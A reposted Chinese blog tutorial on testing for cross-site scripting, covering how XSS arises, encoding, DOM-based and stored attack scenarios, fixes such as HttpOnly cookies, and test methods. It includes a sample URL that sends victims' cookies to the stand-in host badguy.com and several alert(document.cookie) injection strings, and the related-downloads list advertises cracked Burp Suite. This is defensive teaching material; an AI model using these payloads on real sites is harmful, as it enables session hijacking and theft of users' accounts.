`

Web安全性测试之XSS

 
阅读更多

From:http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html

XSS 全称(Cross Site Scripting) 跨站脚本攻击， 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时，脚本就会在用户的浏览器上执行，从而达到攻击者的目的.  比如获取用户的Cookie，导航到恶意网站,携带木马等。

作为测试人员，需要了解XSS的原理，攻击场景，如何修复。 才能有效的防止XSS的发生。

测试攻击：Acunetix Web Vulnerability Scanner

阅读目录

  1. XSS 是如何发生的
  2. HTML Encode
  3. XSS 攻击场景
  4. XSS漏洞的修复
  5. 如何测试XSS漏洞
  6. HTML Encode 和URL Encode的区别
  7. 浏览器中的XSS过滤器
  8. ASP.NET中的XSS安全机制

XSS 是如何发生的呢

假如有下面一个textbox

<input type="text" name="address1" value="value1from">

value1from是来自用户的输入，如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

嵌入的JavaScript代码将会被执行

 

或者用户输入的是  "onfocus="alert(document.cookie)      那么就会变成 

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

 事件被触发的时候嵌入的JavaScript代码将会被执行

 攻击的威力，取决于用户输入了什么样的脚本

 

当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图

 

HTML Encode

XSS之所以会发生， 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号"， “单引号”，“引号” 之类的特殊字符进行编码。

在C#中已经提供了现成的方法，只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。  （需要引用System.Web程序集）

Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

 

XSS 攻击场景

1. Dom-Based XSS 漏洞 攻击过程如下

Tom 发现了Victim.com中的一个页面有XSS漏洞，

例如: http://victim.com/search.asp?term=apple

服务器中Search.asp 页面的代码大概如下

复制代码
<html>
　　<title></title>
　　<body>
　　　　Results  for  <%Reequest.QueryString("term")%>
　　　　...
　　</body>
</html>
复制代码

Tom 先建立一个网站http://badguy.com,  用来接收“偷”来的信息。
然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件，QQ)发给Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica点击了这个URL， 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.

 

2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞，攻击者将攻击脚本上传到Web服务器上，使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下

Alex发现了网站A上有一个XSS 漏洞，该漏洞允许将攻击代码保存在数据库中，

Alex发布了一篇文章，文章中嵌入了恶意JavaScript代码。

其他人如Monica访问这片文章的时候，嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行，其会话cookie或者其他信息将被Alex盗走。

 

Dom-Based XSS漏洞威胁用户个体，而存储式XSS漏洞所威胁的对象将是大量的用户.

 

XSS 漏洞修复

原则：　不相信客户输入的数据
注意:  攻击代码不一定在<script></script>中

  1. 将重要的cookie标记为http only,   这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
  2. 只允许用户输入我们期望的数据。 例如：　年龄的textbox中，只允许用户输入数字。 而数字之外的字符都过滤掉。
  3. 对数据进行Html Encode 处理
  4. 过滤或移除特殊的Html标签， 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for
  5. 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。

如何测试XSS漏洞

方法一：  查看代码，查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单，以及cookie.  例如在ASP的程序中，通过Request对象获取客户端的变量

<%
strUserCode =  Request.QueryString(“code”);
strUser =  Request.Form(“USER”);
strID =    Request.Cookies(“ID”);
%>

假如变量没有经过htmlEncode处理， 那么这个变量就存在一个XSS漏洞

 

 方法二：　准备测试脚本，

"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)

 在网页中的Textbox或者其他能输入数据的地方，输入这些测试脚本， 看能不能弹出对话框，能弹出的话说明存在XSS漏洞

 在URL中查看有那些变量通过URL把值传给Web服务器， 把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行

 

方法三:  自动化测试XSS漏洞
现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单，只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中，我们的XSS测试脚本是否已经注入进去了。

HTML Encode 和URL Encode的区别

刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。 

HTML编码前面已经介绍过了，关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。

例如在baidu中搜索"测试汉字"。 URL会变成
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477

 

所谓URL编码就是：　把所有非字母数字字符都将被替换成百分号（%）后跟两位十六进制数，空格则编码为加号（+）

 

在C#中已经提供了现成的方法，只要调用HttpUtility.UrlEncode("string <scritp>") 就可以了。  （需要引用System.Web程序集）

Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

浏览器中的XSS过滤器

为了防止发生XSS， 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8，IE9，Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图

 

 如果需要做测试， 最好使用IE7。

 ASP.NET中的XSS安全机制

 ASP.NET中有防范XSS的机制，对提交的表单会自动检查是否存在XSS，当用户试图输入XSS代码的时候，ASP.NET会抛出一个错误如下图

很多程序员对安全没有概念， 甚至不知道有XSS的存在。 ASP.NET在这一点上做到默认安全。 这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“。

如果想禁止这个安全特性， 可以通过 <%@  Page  validateRequest=“false"  %>

 

 

补充：

1，HttpOnly

String sessionid = request.getSession().getId();
response.setHeader("SET-COOKIE", "JSESSIONID=" + sessionid + "; HttpOnly");

In Tomcat 6 flag useHttpOnly=True in context.xml to force this behaviour for applications[7], including Tomcat-based frameworks like JBoss[8].

Servlet 3.0 (Java EE 6) introduced a standard way to configure HttpOnly attribute for the session cookie, this can be done by applying the following configuration in web.xml

<session-config>
 <cookie-config>
  <http-only>true</http-only>
 </cookie-config>
<session-config>

 目前发现tomcat6的该属性缺省是false,在context.xml里配置，weblogic10.3.1,10.3.2不支持该属性的配置，只能编码写，weblogic10.3.3,

10.3.4,10.3.5支持在weblogic.xml里配置该属性,切缺省值为true

分享到：
| 35岁前成功的12条黄金法则
评论
发表评论

您还没有登录,请您登录后再发表评论

相关推荐

    web安全性测试 共8讲

    web安全性测试 共8讲，包括XSS，SQL注入等。 web安全性测试 共8讲，包括XSS，SQL注入等。

    WEB安全性测试测试用例（基础）

    WEB安全性测试测试用例，很基础的东西。一些XSS输入总结。

    如何进行WEB安全性测试.

    如何进行WEB安全性测试. 1.SQL Injection(SQL注入) 2.Cross-site scritping(XSS):(跨站点脚本攻击) 3.CSRF:(跨站点伪造请求) 4.Email Header Injection(邮件标头注入) 5.Directory Traversal(目录遍历)

    WEB安全测试分类及防范测试方法.docx

    WEB安全测试分类及防范测试方法 1 Web 应用程序布署环境测试 2 1.1HTTP 请求引发漏洞的测试 2 1.2 操作系统目录安全性及Web 应用程序布署环境目录遍历问题测试 2 2 应用程序测试 3 2.1 SQL 注入漏洞测试 3 ...

    系统安全培训-Web安全性

    安全性问题之一SQL注入 如何预防SQL注入? 安全性问题之二上传文件漏洞 防止木马执行的方法 安全性问题之三XSS 安全性问题之四SCRF 安全性问题之五XSIO 安全性问题之六XSIO ...解决方法：安全性测试

    Web安全培训ppt（适合初学者）

    一、Web安全系列之基础 1、Web安全基础概念（1天） 互联网本来是安全的，自从有了研究安全的人之后，互联网就变的不安全了。 2、web面临的主要安全问题（2天） 客户端：移动APP漏洞、浏览器劫持、篡改 服务器...

    如何进行WEB安全性测试.doc

    1.SQL Injection(SQL...2.Cross-site scritping(XSS):(跨站点脚本攻击) 3.CSRF:(跨站点伪造请求) 4.Email Header Injection(邮件标头注入) 5.Directory Traversal(目录遍历) 6.exposed error messages(错误信息)

    [完整][中文][WEB安全测试].(美)霍普.扫描版.pdf

    本书中的秘诀演示了开发和测试人员在进行单元测试、回归测试或探索性测试的同时，如何去检查最常见的Web安全问题。与即兴的安全评估不同的是，这些秘诀是可重复的、简洁的、系统的——可以完美地集成到你的常规测试...

    Web应用安全：WVS简介基本配置.pptx

    WVS可以通过检查SQL注入攻击漏洞、XSS跨站脚本攻击漏洞等漏洞来审核Web应用程序的安全性。 WVS简介 WebScanner:全站扫描， Web安全漏洞扫描 Site Crawler:爬虫功能，遍历站点目录结构 Target Finder:端口扫描，找出...

    WEB安全测试

    1.4 Web应用安全测试 25 1.5 方法才是重点 26 第2章 安装免费工具 29 2.1 安装Firefox 29 2.2 安装Firefox扩展 30 2.3 安装Firebug 31 2.4 安装OWASP的WebScarab 32 2.5 在Windows上安装Perl及其软件包 33 2.6 在...

    SecureJS:用于安全测试，XSS，CRSF和HTML5跨站点脚本的Javascript库。 这是尝试解决一些开放安全性问题，以及使用javascript将许多公司过渡到Web的尝试。

    SecureJS 用于安全测试，XSS，CRSF和HTML5跨站点脚本的Javascript库。 这是为了解决一些开放的安全性问题，以及许多公司使用javascript过渡到Web的尝试。

    web防火墙WAF功能测试方案

    根据国际权威机构WASC(Web Application Security Consortium )和OWASP(Open Web Application Security Project)的分析，国内外的信息安全厂商当前能防范的针对Web服务器的攻击类型主要有SQL注入攻击、XSS攻击、...

    Fuzzing_模糊测试--强制性安全漏洞发掘

    26.1.1 安全性测试工具beSTORM 26.1.2 BREAKINGPOINT系统BPS－1000 26.1.3 CODENOMICON 26.1.4 GLEG PROTOVER PROFESSIONAL 26.1.5 安全性测试工具MU-4000 26.1.6 SECURITY INNOVATION HOLODECK 26.2 发现漏洞的混合...

    AWVS 14.5(含补丁) For Linux+渗透测试+kali（Linux系统）+AWVS+web漏洞扫描

    AWVS可以发现SQL注入、跨站点脚本(XSS)、文件包含、文件上传漏洞、目录遍历漏洞等常见的Web漏洞,帮助企业发现和修复安全漏洞,保护Web应用程序的安全性。AWVS的历史可以追溯到2005年,当时Acunetix公司推出了第一个...

    网络渗透测试平台_DVWA_201807

    DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。

    基于Fuzzing技术提升XSS漏洞防御水平的研究

    面对高交互性、高复杂性的网络操作过程，有效提升对XSS漏洞的检测、防御能力有利于提高Web安全。本文提出了一种主动提升对XSS漏洞的检测与防御能力的方法，该方法通过网络爬虫爬取Web交互页面，结合XSS漏洞的特征，...

    burp suite1.7.26破解版无时间限制

    burp suite1.7.26破解版无时间限制 ，用于web安全性测试。 web中间人攻击 xss sql 注入 csrf 等常见漏洞 渗透测试必备

    PHP开发中常见的安全问题详解和解决方法（如Sql注入、CSRF、Xss、CC等）

    在大公司肯定有专门的web安全测试员，安全方面不是phper考虑的范围。但是作为一个phper对于安全知识是：“知道有这么一回事，编程时自然有所注意”。 目录：1、php一些安全配置(1)关闭php提示错误功能(2)关闭一些...

    awesome-web-hacking：Web应用程序安全性列表

    该列表适用于希望了解Web应用程序安全性但没有起点的任何人。 您可以发送“拉取请求”添加更多信息，以提供帮助。 如果您不希望进行@infoslack可以通过@infoslack发送给我 目录 图书 Web应用程序黑客手册：发现和...

Magicbox
Global site tag (gtag.js) - Google Analytics